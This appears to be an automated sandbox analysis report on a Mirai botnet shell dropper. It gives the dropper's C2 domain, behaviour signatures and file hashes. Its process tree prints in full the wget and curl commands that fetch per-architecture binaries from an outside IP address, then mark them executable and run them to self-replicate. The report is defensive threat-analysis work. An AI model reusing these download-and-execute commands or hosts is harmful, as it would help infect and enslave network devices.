Analysis

  • max time kernel
    139s
  • max time network
    140s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18/12/2024, 02:42

General

  • Target
    7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh
  • Size 2KB
  • Sample241218-c7emda1kek
  • SHA256 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

C2
  • servers.vlrt-gap.com

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

Extracted

Family
  • mirai

Botnet
  • UNSTABLE

C2
  • servers.vlrt-gap.com

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • Changes its process name 1 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh
    /tmp/7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh
    1⤵
    • Writes file to tmp directory
    PID:724
    • /usr/bin/wget
      wget http://185.196.11.47/zmap.x86
      2⤵
      • Writes file to tmp directory
      PID:727
    • /usr/bin/curl
      curl -O http://185.196.11.47/zmap.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:742
    • /bin/cat
      cat zmap.x86
      2⤵
        PID:751
      • /bin/chmod
        chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:752
      • /tmp/WTH
        ./WTH hnap.selfrep
        2⤵
        • Executes dropped EXE
        PID:753
      • /usr/bin/wget
        wget http://185.196.11.47/zmap.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:756
      • /usr/bin/curl
        curl -O http://185.196.11.47/zmap.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:758
      • /bin/cat
        cat zmap.mips
        2⤵
        • System Network Configuration Discovery
        PID:759
      • /bin/chmod
        chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.mips zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:760
      • /tmp/WTH
        ./WTH hnap.selfrep
        2⤵
        • Executes dropped EXE
        PID:761
      • /usr/bin/wget
        wget http://185.196.11.47/zmap.mpsl
        2⤵
        • Writes file to tmp directory
        PID:763
      • /usr/bin/curl
        curl -O http://185.196.11.47/zmap.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:764
      • /bin/cat
        cat zmap.mpsl
        2⤵
          PID:765
        • /bin/chmod
          chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.mips zmap.mpsl zmap.x86
          2⤵
          • File and Directory Permissions Modification
          PID:766
        • /tmp/WTH
          ./WTH hnap.selfrep
          2⤵
          • Deletes itself
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Changes its process name
          PID:767
        • /usr/bin/wget
          wget http://185.196.11.47/zmap.arm
          2⤵
          • Writes file to tmp directory
          PID:769
        • /usr/bin/curl
          curl -O http://185.196.11.47/zmap.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:773
        • /bin/cat
          cat zmap.arm
          2⤵
            PID:780
          • /bin/chmod
            chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.mips zmap.mpsl zmap.x86
            2⤵
            • File and Directory Permissions Modification
            PID:782
          • /tmp/WTH
            ./WTH hnap.selfrep
            2⤵
            • Executes dropped EXE
            PID:784
          • /usr/bin/wget
            wget http://185.196.11.47/zmap.arm5
            2⤵
            • Writes file to tmp directory
            PID:787
          • /usr/bin/curl
            curl -O http://185.196.11.47/zmap.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:793
          • /bin/cat
            cat zmap.arm5
            2⤵
              PID:802
            • /bin/chmod
              chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/WTH
              ./WTH hnap.selfrep
              2⤵
              • Executes dropped EXE
              PID:804
            • /usr/bin/wget
              wget http://185.196.11.47/zmap.arm6
              2⤵
              • Writes file to tmp directory
              PID:808
            • /usr/bin/curl
              curl -O http://185.196.11.47/zmap.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:816
            • /bin/cat
              cat zmap.arm6
              2⤵
                PID:828
              • /bin/chmod
                chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
                2⤵
                • File and Directory Permissions Modification
                PID:829
              • /tmp/WTH
                ./WTH hnap.selfrep
                2⤵
                • Executes dropped EXE
                PID:831
              • /usr/bin/wget
                wget http://185.196.11.47/zmap.arm7
                2⤵
                • Writes file to tmp directory
                PID:833
              • /usr/bin/curl
                curl -O http://185.196.11.47/zmap.arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:834
              • /bin/cat
                cat zmap.arm7
                2⤵
                  PID:835
                • /bin/chmod
                  chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/WTH
                  ./WTH hnap.selfrep
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /usr/bin/wget
                  wget http://185.196.11.47/zmap.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:839
                • /usr/bin/curl
                  curl -O http://185.196.11.47/zmap.ppc
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:840
                • /bin/cat
                  cat zmap.ppc
                  2⤵
                    PID:841
                  • /bin/chmod
                    chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:842
                  • /tmp/WTH
                    ./WTH hnap.selfrep
                    2⤵
                    • Executes dropped EXE
                    PID:843
                  • /usr/bin/wget
                    wget http://185.196.11.47/zmap.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://185.196.11.47/zmap.m68k
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:853
                  • /bin/cat
                    cat zmap.m68k
                    2⤵
                      PID:862
                    • /bin/chmod
                      chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:864
                    • /tmp/WTH
                      ./WTH hnap.selfrep
                      2⤵
                      • Executes dropped EXE
                      PID:865
                    • /usr/bin/wget
                      wget http://185.196.11.47/zmap.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:868
                    • /usr/bin/curl
                      curl -O http://185.196.11.47/zmap.spc
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:876
                    • /bin/cat
                      cat zmap.spc
                      2⤵
                        PID:883
                      • /bin/chmod
                        chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh systemd-private-f2970f9699604151b54808aa35024989-systemd-timedated.service-LBVMKN WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:884
                      • /tmp/WTH
                        ./WTH hnap.selfrep
                        2⤵
                        • Executes dropped EXE
                        PID:885
                      • /usr/bin/wget
                        wget http://185.196.11.47/zmap.i686
                        2⤵
                          PID:887
                        • /usr/bin/curl
                          curl -O http://185.196.11.47/zmap.i686
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:888
                        • /bin/cat
                          cat zmap.i686
                          2⤵
                            PID:892
                          • /bin/chmod
                            chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:893
                          • /tmp/WTH
                            ./WTH hnap.selfrep
                            2⤵
                            • Executes dropped EXE
                            PID:894
                          • /usr/bin/wget
                            wget http://185.196.11.47/zmap.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:895
                          • /usr/bin/curl
                            curl -O http://185.196.11.47/zmap.sh4
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:896
                          • /bin/cat
                            cat zmap.sh4
                            2⤵
                              PID:897
                            • /bin/chmod
                              chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:898
                            • /tmp/WTH
                              ./WTH hnap.selfrep
                              2⤵
                              • Executes dropped EXE
                              PID:899
                            • /usr/bin/wget
                              wget http://185.196.11.47/zmap.arc
                              2⤵
                                PID:901
                              • /usr/bin/curl
                                curl -O http://185.196.11.47/zmap.arc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:902
                              • /bin/cat
                                cat zmap.arc
                                2⤵
                                  PID:903
                                • /bin/chmod
                                  chmod +x 7434f0049dd7c2dc6296995392dc95a05fd9b8ff8f75355e22864f1c924f5340.sh WTH zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:904
                                • /tmp/WTH
                                  ./WTH hnap.selfrep
                                  2⤵
                                  • Executes dropped EXE
                                  PID:905

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    WTH

                                    • Path /tmp/WTH
                                    • Size 94KB
                                    • SHA256 c485a846f4b7c5d410762291758175ca0775ca919da52ef05047f3000045020a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WTH

                                    • Path /tmp/WTH
                                    • Size 94KB
                                    • SHA256 c14fead55aee69ec760fdba5f5371922595ad9df3c7201feb088f322043def0d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WTH

                                    • Path /tmp/WTH
                                    • Size 74KB
                                    • SHA256 4278fcf8ef5692822cc5eccce4857b5132f8d029949b83925a7a1e6f5c969129
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WTH

                                    • Path /tmp/WTH
                                    • Size 49KB
                                    • SHA256 01d39c861837c2f70e59a1e0af94249269813cfa8dc2696d095d36db84fcf7ca
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WTH

                                    • Path /tmp/WTH
                                    • Size 152KB
                                    • SHA256 ff15bf021c5804b34110ecab8a8c86dd399c60b246cb626f536a000b26b27e96
                                    • MD5 SHA1 SHA512 SSDEEP

                                    zmap.x86

                                    • Path /tmp/zmap.x86
                                    • Size 61KB
                                    • SHA256 4fc42ee2d91d577e0bcc49c27d5f3936584ad49c27b5032baa57a6c6e53b4914
                                    • MD5 SHA1 SHA512 SSDEEP